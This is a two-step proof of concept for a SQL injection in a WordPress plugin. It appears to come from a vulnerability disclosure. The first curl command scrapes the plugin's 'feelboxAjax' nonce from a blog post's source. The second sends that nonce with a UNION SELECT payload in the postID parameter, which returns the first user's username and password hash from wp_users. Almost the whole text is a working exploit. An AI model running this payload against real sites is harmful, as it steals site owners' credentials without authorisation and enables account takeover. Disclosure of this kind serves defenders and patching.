1. Visit a blog post and extract the nonce from the source (search for "feelboxAjax", and extract the "token")

    curl -s '' | grep 'token'

2. Invoke the following curl command, with the just obtained nonce (token), to disclose the first user's username and password hash:

    curl '' \
        --data 'token=<NONCE HERE>&postID=1 UNION ALL SELECT 1,1,CONCAT((SELECT user_login FROM wp_users),CHR(0x3a),(SELECT user_pass FROM wp_users)),1,1,1,1-- -'
